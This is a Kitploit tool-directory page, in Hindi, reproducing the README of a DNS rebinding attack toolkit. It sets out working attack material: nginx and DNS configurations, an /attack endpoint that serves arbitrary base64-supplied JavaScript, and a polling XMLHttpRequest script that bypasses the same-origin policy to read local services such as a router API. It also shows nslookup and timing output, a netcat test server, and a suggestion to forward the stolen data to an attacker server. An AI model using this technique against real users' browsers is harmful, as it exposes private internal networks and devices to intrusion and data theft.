Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dns-rebinding-tool — DNS रीबाइंड टूल कस्टम स्क्रिप्ट्स के साथ | Kitploit
उपकरण/GitHubGitHub/h43z/dns-rebinding-tool
वेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगDNS विश्लेषण
GitHubh43z/dns-rebinding-tool

dns-rebinding-tool

DNS रीबाइंड टूल कस्टम स्क्रिप्ट्स के साथ

रिपॉजिटरी देखें
8583 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

प्रेरित @tavisio से

यह प्रोजेक्ट एक ऑल-इन-वन टूलकिट है जो DNS रीबाइंडिंग हमलों का परीक्षण करने और इस प्रकार के हमलों को समझने के मेरे दृष्टिकोण के लिए है। इसमें एक वेब सर्वर और एक स्यूडो DNS सर्वर शामिल है जो केवल A क्वेरी का उत्तर देता है।

वेब सर्वर का रूट इंडेक्स एक साधारण वेब GUI के साथ हमले को कॉन्फ़िगर और चलाने की अनुमति देता है। देखें dnsrebindtool.43z.one।

वेब सर्वर को होस्ट करने के लिए एक बुनियादी nginx कॉन्फ़िग

root@kitploit:~
server {
  listen 80;
  server_name dnsrebindtool.43z.one;

  location / {
    proxy_pass http://localhost:5000;
  }
}

वेब सर्वर का /attack रूट GET पैरामीटर script पढ़ता है जो base64 एन्कोडेड जावास्क्रिप्ट प्रदान करना चाहिए और डीकोड किए गए कोड (setTimeout में लिपटा हुआ) को एक सामान्य HTML पेज में एम्बेड करके उत्तर देता है।

root@kitploit:~
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" 
<html>
    <script>

    setTimeout(function(){
      alert(1) 
    }, 3000)

  </script>
</html

मेरे डोमेन 43z.one के रजिस्ट्रार में, मैंने सबडोमेन rebind के लिए एक NS रिकॉर्ड सेटअप किया जो इस टूल के होस्ट किए गए IP को इंगित करता है।

root@kitploit:~
ns       A   81.4.124.10
rebind   NS  ns.43z.one

DNS सर्वर केवल इस प्रारूप में A क्वेरी का उत्तर देता है

evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one

पहला भाग (सबडोमेन) सिर्फ एक यादृच्छिक आईडी है और इसे प्रत्येक हमले सत्र के लिए उत्पन्न किया जाना चाहिए (वेब GUI हर रीलोड पर ऐसा करता है)। दूसरे में वह IP आता है जिसे DNS सर्वर को अगले 2 सेकंड के लिए उत्तर देना चाहिए और तीसरे में वह IP जिसे सर्वर को उस समय बीत जाने के बाद उत्तर देना चाहिए।

root@kitploit:~
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one 
Fri Feb  2 21:18:20 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb  2 21:18:23 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1

अंतिम गायब टुकड़ा रीबाइंड डोमेन के लिए एक nginx कॉन्फ़िग है। केवल /attack रूट को टूल को पास किया जाना चाहिए, बाकी को त्रुटि के साथ उत्तर देना चाहिए। यह /attack को छोड़कर सभी रूट्स के साथ पोर्ट 80 पर अन्य सेवाओं पर हमला करने की अनुमति देता है। (जैसे /api/monitoring/stats एक एंडपॉइंट जो मेरा राउटर एक्सपोज़ करता है)

root@kitploit:~
server {
  listen 80;
  server_name *.rebind.43z.one;

  location / {
    return 404;
  }

  location /attack {
    proxy_pass http://localhost:5000/attack;
  }
}

DNS कैश एविक्शन

root@kitploit:~
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// पहली बार ब्राउज़र इस डोमेन को देखता है तो वह DNS सर्वर से क्वेरी करता है
// और 81.4.124.10 प्राप्त करता है

// 2 सेकंड से अधिक सोएं

xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// अभी भी 81.4.124.10 का उपयोग करता है (127.0.0.1 नहीं)
// कोई DNS क्वेरी नहीं हुई, ब्राउज़र ने कैश किए गए IP का उपयोग किया

यह इस प्रकार के हमले के लिए एक समस्या है। काम करने के लिए ब्राउज़र को दूसरा IP प्राप्त करने के लिए एक नई DNS क्वेरी जारी करनी होगी। सिद्धांत रूप में यदि आप अनुरोधों के बीच पर्याप्त प्रतीक्षा करते हैं तो एक नई क्वेरी होनी चाहिए। मेरे परीक्षण बताते हैं कि एक तेज़ लेकिन अधिक आक्रामक दृष्टिकोण है। यह बहुत संभव है कि यह सेटअप विशिष्ट है। और परीक्षण की आवश्यकता है मैंने WAIT वेरिएबल के लिए इष्टतम मान मापने के लिए निम्नलिखित स्क्रिप्ट का उपयोग किया। डेबियन buster/sid पर चल रहे Chromium 62.0.3202.89 पर परीक्षण किया गया।

root@kitploit:~
var WAIT = 200
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, WAIT)

मैंने इसे एक्सप्लोर करने के लिए एक नया रेपो शुरू किया dns cache eviction tester

सब कुछ एक साथ रखकर और इसका परीक्षण करें।

root@kitploit:~
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

यह netcat इंस्टेंस कुछ सामग्री प्रस्तुत करता है जिसे मैं एक्सेस करना चाहता हूँ। मैं डिफ़ॉल्ट रीबाइंड डोमेन $RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one और डिफ़ॉल्ट स्क्रिप्ट रखता हूँ

root@kitploit:~
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, 200)

dnsrebindtool.43z.one पर और अटैक बटन दबाएँ। पृष्ठभूमि में क्या हो रहा है यह देखने के लिए डेव टूल्स नेटवर्क टैब खोलें। मेरे लिए लगभग 60 सेकंड के बाद स्ट्रिंग TOPSECRET और लगा समय भर जाता है। DNS रीबाइंडिंग ने SOP को दरकिनार कर दिया। iframe से उल्लंघन किए गए डेटा को बाहर निकालने के लिए कोई Window.PostMessage() का उपयोग कर सकता है या स्क्रिप्ट के भीतर ही डेटा को किसी अन्य हमलावर सर्वर पर अग्रेषित करने वाला कोड शामिल कर सकता है।

टूल डाउनलोड करें
WAIT value in msrequests chrome sendsTime until queries dns again
070060
1070060
10060063
12050063
15040063
18040075
20030063
22030069
25030078
28030087
30020063
32020067
34020071
36020075
38020079
40020083
1000100103